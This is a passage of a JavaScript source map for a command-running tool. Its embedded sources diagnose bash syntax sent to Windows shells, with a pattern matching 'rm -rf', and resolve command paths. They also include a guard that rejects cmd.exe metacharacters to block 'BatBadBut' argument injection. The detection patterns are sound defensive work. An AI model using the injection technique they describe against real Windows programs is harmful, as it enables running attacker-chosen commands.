those commands succeed and are never\n * flagged) but breaks in Windows PowerShell 5.1 (where the command fails and is\n * flagged). Never mutates or blocks \u2014 advisory only.\n *\n * Returns `undefined` when nothing actionable is found (including any POSIX\n * call \u2014 bash idioms are correct there).\n */\nexport function diagnoseBashism(command: string, shell: BashShell): string | undefined {\n if (!command) return undefined;\n const isCmd = shell === 'cmd';\n const hints: string[] = [];\n const add = (h: string) => {\n if (!hints.includes(h)) hints.push(h);\n };\n\n if (/\\/dev\\/null/.test(command)) {\n add(\n isCmd\n ? 'use `nul` instead of `/dev/null` (e.g. `2>nul`)'\n : 'use `$null` instead of `/dev/null` (e.g. `2>$null`)',\n );\n }\n if (/(^|[;&|]\\s*)export\\s+[A-Za-z_]\\w*=/.test(command)) {\n add(\n isCmd\n ? 'set env vars with `set NAME=value`, not `export`'\n : \"set env vars with `$env:NAME = 'value'`, not `export`\",\n );\n }\n if (/<<-?\\s*['\"]?[A-Za-z_]\\w*/.test(command)) {\n add(\n isCmd\n ? 'cmd has no heredocs \u2014 write the content to a file or use multiple `echo` lines'\n : \"PowerShell has no heredocs \u2014 use a single-quoted here-string `@'\u2026'@` (closing `'@` at column 0)\",\n );\n }\n // && / || only break in Windows PowerShell 5.1; pwsh 7 and cmd.exe accept them\n // (and those commands therefore succeed and never reach this diagnosis).\n if (shell === 'powershell' && /(&&|\\|\\|)/.test(command)) {\n add('Windows PowerShell 5.1 has no `&&`/`||` \u2014 separate commands with `;` (check `$LASTEXITCODE`)');\n }\n if (/\\brm\\s+-[A-Za-z]*[rf]/.test(command)) {\n add(\n isCmd\n ? '`rm` is not a cmd builtin \u2014 use `del` (files) or `rmdir /s /q` (dirs)'\n : \"use `Remove-Item -Recurse -Force` \u2014 the `rm -rf` bash flags don't exist in PowerShell\",\n );\n }\n if (/\\bwhich\\s+\\S/.test(command)) {\n add(isCmd ? 'use `where <cmd>` instead of `which`' : 'use `Get-Command <cmd>` instead of `which`');\n }\n\n if (hints.length === 0) return undefined;\n const label = isCmd ? 'cmd.exe' : shell === 'pwsh' ? 'PowerShell 7' : 'Windows PowerShell';\n return `[wrongstack] This command failed and contains bash/POSIX syntax that ${label} does not accept \u2014 ${hints.join('; ')}. Rewrite it in ${isCmd ? 'cmd' : 'PowerShell'} syntax and retry.`;\n}\n", "import * as fs from 'node:fs';\nimport * as path from 'node:path';\n\n/**\n * On Windows, Node.js `spawn()` without a shell does NOT resolve .cmd/.bat\n * extensions through PATHEXT \u2014 it only auto-resolves .exe. Most Node.js CLI\n * tools (npx, pnpm, biome, tsc, vitest, etc.) ship as .cmd wrappers on\n * Windows. This function resolves the command name to its full path so spawn\n * can find it without relying on shell-mode argument concatenation.\n *\n * On non-Windows, returns the command unchanged.\n */\nexport function resolveWin32Command(cmd: string): string {\n if (process.platform !== 'win32') return cmd;\n\n // Already has a path or extension \u2014 use as-is\n // Normalize forward slashes so path.extname correctly detects extensions\n // even when a Unix-style path is passed on Windows.\n if (cmd.includes('/') || cmd.includes('\\\\') || path.extname(cmd.replace(/\\//g, '\\\\'))) {\n return cmd;\n }\n\n const pathext = (process.env['PATHEXT'] ?? '.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC')\n .toLowerCase()\n .split(';');\n\n const pathDirs = (process.env['PATH'] ?? '').split(path.delimiter);\n\n for (const dir of pathDirs) {\n const base = path.join(dir, cmd);\n // Check extensions in PATHEXT order. .EXE should win first because\n // it's typically listed first, and .exe doesn't need shell: true.\n for (const ext of pathext) {\n const full = `${base}${ext}`;\n try {\n fs.accessSync(full, fs.constants.X_OK);\n return full;\n } catch {\n // Not found with this extension \u2014 try next\n }\n }\n }\n\n // Not found \u2014 return original; let spawn report ENOENT with the\n // expected error message so tools can surface it properly.\n return cmd;\n}\n\n/**\n * Resolve a PowerShell binary by name. `pickShell` in `_shell-pick.ts`\n * already decides whether the user wants `'pwsh'` (PowerShell 7+) or\n * `'powershell'` (Windows PowerShell 5.1). This helper turns that decision\n * into a real on-disk path.\n *\n * Order:\n * 1. If `cmd` is `pwsh` and a `pwsh.exe` exists on PATH \u2192 return that.\n * 2. If `cmd` is `pwsh` and only `powershell.exe` exists \u2192 fall back to\n * that (the alternative is a cryptic ENOENT for the user).\n * 3. Symmetric for `powershell`: prefer `powershell.exe`, fall back to\n * `pwsh.exe` if installed and the legacy binary is missing.\n * 4. Anything else \u2192 delegate to `resolveWin32Command` (handles `.cmd`\n * shims a sysadmin might drop in place, etc.).\n *\n * Returns the original command on ENOENT \u2014 `spawn()` will surface a clean\n * ENOENT and the user sees \"PowerShell not installed\", which is the right\n * diagnostic. We never throw from here.\n */\nexport function resolvePowerShell(cmd: string): string {\n if (process.platform !== 'win32') return cmd;\n const lower = cmd.toLowerCase();\n if (lower !== 'pwsh' && lower !== 'powershell' && lower !== 'pwsh.exe' && lower !== 'powershell.exe') {\n return resolveWin32Command(cmd);\n }\n // Prefer the requested edition, fall back to the other one.\n const primary = lower.startsWith('pwsh') ? 'pwsh.exe' : 'powershell.exe';\n const fallback = lower.startsWith('pwsh') ? 'powershell.exe' : 'pwsh.exe';\n const resolved = resolveWin32Command(primary);\n if (resolved !== primary) {\n // resolveWin32Command returns the original string when not found.\n const fb = resolveWin32Command(fallback);\n return fb === fallback ? cmd : fb;\n }\n return resolved;\n}\n\n/**\n * cmd.exe metacharacters that chain a new command or redirect I/O. When a\n * `.cmd`/`.bat` wrapper is launched through `cmd.exe`, any argument carrying\n * one of these can break out of the intended command line and run an\n * attacker-chosen command (the CVE-2024-27980 / \"BatBadBut\" argument-injection\n * class). We use a single vetted command line for cmd shims, so this guard is\n * mandatory before spawning.\n *\n * The set is limited to the unambiguous command-separator / redirection chars\n * plus newlines and NUL. Legitimate package-manager / test-runner flags and\n * Windows file paths (which use `:` `\\` `/` `.` `-` `_` space `(` `)`) never\n * contain these, so the guard is false-positive-free. Double quotes are also\n * rejected because cmd.exe quote toggling can break argument grouping.\n */\nconst WIN32_SHELL_META = /[&|<>\"\\r\\n\\0]/;\n\nexport interface Win32CmdShimInvocation {\n command: string;\n args: string[];\n windowsVerbatimArguments: true;\n}\n\n/**\n * Throw if any argument contains a cmd.exe command-injection metacharacter.\n * Call this ONLY on the Windows `.cmd`/`.bat` shim path. A no-op for safe args.\n */\nexport function assertSafeWin32ShellArgs(args: readonly unknown[]): void {\n for (const arg of args) {\n if (typeof arg === 'string' && WIN32_SHELL_META.test(arg)) {\n throw new Error(\n 'win32 cmd shim spawn: argument contains a shell metacharacter ' +\n '(one of & | < > \", or a newline) that could enable command injection ' +\n 'through the .cmd/.bat wrapper - refusing to run. Offending argument: ' +\n JSON.stringify(arg),\n );\n }\n }\n}\n\nexport function buildWin32CmdShimInvocation(\n command: string,\n args: readonly string[] = [],\n): Win32CmdShimInvocation {\n assertSafeWin32ShellArgs([command, ...args]);\n const line = ['call', quoteWin32CmdArg(command), ...args.map(quoteWin32CmdArg)].join(' ');\n return {\n command: process.env['COMSPEC'] ?? 'cmd.exe',\n args: ['/d', '/c', line],\n windowsVerbatimArguments: true,\n };\n}\n\nfunction quoteWin32CmdArg(arg: string): string {\n return `\"${arg}\"`;\n}\n"],
|
|
5
|
+
"mappings": "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